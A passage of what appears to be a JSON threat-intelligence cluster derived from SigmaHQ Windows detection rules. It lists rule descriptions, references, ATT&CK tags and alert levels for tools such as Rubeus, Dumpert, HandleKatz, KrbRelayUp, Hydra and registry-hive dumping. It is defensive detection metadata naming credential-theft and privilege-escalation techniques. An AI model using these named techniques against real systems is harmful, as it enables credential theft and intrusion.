+ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2021/12/27", + "filename": "proc_creation_win_findstr_gpp_passwords.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", + "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", + "value": "Findstr LSASS", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_findstr_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", + "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", + "value": "Suspicious Recon Activity Using Findstr Keywords", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_findstr_recon_everyone.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to disable the Windows Firewall using PowerShell", + "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", + "value": "Windows Firewall Disabled via PowerShell", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", + "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", + "value": "Fast Reverse Proxy (FRP)", + "meta": { + "refs": [ + "https://asec.ahnlab.com/en/38156/", + "https://github.com/fatedier/frp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_frp.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers may leverage fsutil to enumerated connected drives.", + "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", + "value": "Fsutil Drive Enumeration", + "meta": { + "refs": [ + "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/", + "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ], + "creation_date": "2022/03/29", + "filename": "proc_creation_win_fsutil_drive_enumeration.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "low", + "falsepositive": [ + "Certain software or administrative tasks may trigger false positives." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", + "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", + "value": "Fsutil Behavior Set SymlinkEvaluation", + "meta": { + "refs": [ + "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", + "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/03/02", + "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", + "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", + "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2022/10/10", + "filename": "proc_creation_win_get_localgroup_member_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution GMER tool based on image and hash fields.", + "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", + "value": "GMER - Rootkit Detector and Remover Execution", + "meta": { + "refs": [ + "http://www.gmer.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/05", + "filename": "proc_creation_win_gmer_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", + "value": "Use of GoToAssist Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_gotoopener.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Dump sam, system or security hives using REG.exe utility", + "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", + "value": "Grabbing Sensitive Hives via Reg Utility", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "car.2013-07-001" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", + "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", + "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", + "value": "Windows Hacktool Imphash", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/04", + "filename": "proc_creation_win_hacktool_imphashes.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of one of these tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", + "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", + "value": "ADCSPwn Hack Tool", + "meta": { + "refs": [ + "https://github.com/bats3c/ADCSPwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1557.001" + ], + "creation_date": "2021/07/31", + "filename": "proc_creation_win_hack_adcspwn.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", + "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", + "value": "Bloodhound and Sharphound Hack Tool", + "meta": { + "refs": [ + "https://github.com/BloodHoundAD/BloodHound", + "https://github.com/BloodHoundAD/SharpHound", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "proc_creation_win_hack_bloodhound.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other programs that use these command line option and accepts an 'All' parameter" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", + "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b", + "value": "Hacktool by Cube0x0", + "meta": { + "refs": [ + "https://github.com/cube0x0", + "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/27", + "filename": "proc_creation_win_hack_cube0x0_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", + "value": "Dumpert Process Dumper", + "meta": { + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/02/04", + "filename": "proc_creation_win_hack_dumpert.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Hydra password guessing hack tool", + "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", + "value": "Hydra Password Guessing Hack Tool", + "meta": { + "refs": [ + "https://github.com/vanhauser-thc/thc-hydra", + "https://attack.mitre.org/techniques/T1110/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110", + "attack.t1110.001" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_hack_hydra.yml", + "author": "Vasiliy Burov", + "level": "high", + "falsepositive": [ + "Software that uses the caret encased keywords PASS and USER in its command line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", + "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", + "value": "Inveigh Hack Tool", + "meta": { + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/10/24", + "filename": "proc_creation_win_hack_inveigh.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters used by Koadic hack tool", + "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", + "value": "Koadic Execution", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", + "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2020/01/12", + "filename": "proc_creation_win_hack_koadic.yml", + "author": "wagga, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of KrbRelay, a Kerberos relaying tool", + "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", + "value": "KrbRelay Hack Tool", + "meta": { + "refs": [ + "https://github.com/cube0x0/KrbRelay", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2022/04/27", + "filename": "proc_creation_win_hack_krbrelay.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", + "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", + "value": "KrbRelayUp Hack Tool", + "meta": { + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2022/04/26", + "filename": "proc_creation_win_hack_krbrelayup.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", + "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", + "value": "Rubeus Hack Tool", + "meta": { + "refs": [ + "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2018/12/19", + "filename": "proc_creation_win_hack_rubeus.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", + "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", + "value": "SafetyKatz Hack Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/10/20", + "filename": "proc_creation_win_hack_safetykatz.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of SecurityXploded Tools", + "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", + "value": "SecurityXploded Tool", + "meta": { + "refs": [ + "https://securityxploded.com/", + "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2018/12/19", + "filename": "proc_creation_win_hack_secutyxploded.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", + "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", + "value": "SharPersist Usage", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", + "https://github.com/mandiant/SharPersist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_win_hack_sharpersist.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", + "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", + "value": "SharpLdapWhoami", + "meta": { + "refs": [ + "https://github.com/bugch3ck/SharpLdapWhoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2022/08/29", + "filename": "proc_creation_win_hack_sharpldapwhoami.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Programs that use the same command line flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", + "value": "Windows Credential Editor", + "meta": { + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ], + "creation_date": "2019/12/31", + "filename": "proc_creation_win_hack_wce.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Another service that uses a single -s command line switch" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", + "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", + "value": "HandleKatz LSASS Dumper Usage", + "meta": { + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/08/18", + "filename": "proc_creation_win_handlekatz.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", + "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", + "value": "Password Cracking with Hashcat", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", + "https://hashcat.net/wiki/doku.php?id=hashcat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.002" + ], + "creation_date": "2021/12/27", + "filename": "proc_creation_win_hashcat.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Tools that accidentally use the same command line flags and values" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", + "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", + "value": "File Download with Headless Browser", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_headless_browser_file_download.yml", + "author": "Sreeman, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies usage of hh.exe executing recently modified .chm files.", + "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", + "value": "HH.exe Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_hh_chm.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", + "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", + "value": "HH.exe Remote CHM File Execution", + "meta": { + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2022/09/29", + "filename": "proc_creation_win_hh_chm_http.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", + "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", + "value": "Writing Of Malicious Files To The Fonts Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" + ], + "tags": [ + "attack.t1211", + "attack.t1059", + "attack.defense_evasion", + "attack.persistence" + ], + "creation_date": "2020/04/21", + "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", + "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", + "value": "High Integrity Sdclt Process", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_high_integrity_sdclt.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", + "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", + "value": "CreateMiniDump Hacktool", + "meta": { + "refs": [ + "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/12/22", + "filename": "proc_creation_win_hktl_createminidump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", + "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", + "value": "UAC Bypass Tool UACMe Akagi", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", + "author": "Christian Burkard, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", + "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", + "value": "HTML Help Shell Spawn", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001", + "attack.t1218.010", + "attack.t1218.011", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1047", + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1218" + ], + "creation_date": "2020/04/01", + "filename": "proc_creation_win_html_help_spawn.yml", + "author": "Maxim Pavlunin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", + "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", + "value": "Suspicious HWP Sub Processes", + "meta": { + "refs": [ + "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", + "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", + "https://twitter.com/cyberwar_15/status/1187287262054076416", + "https://blog.alyac.co.kr/1901", + 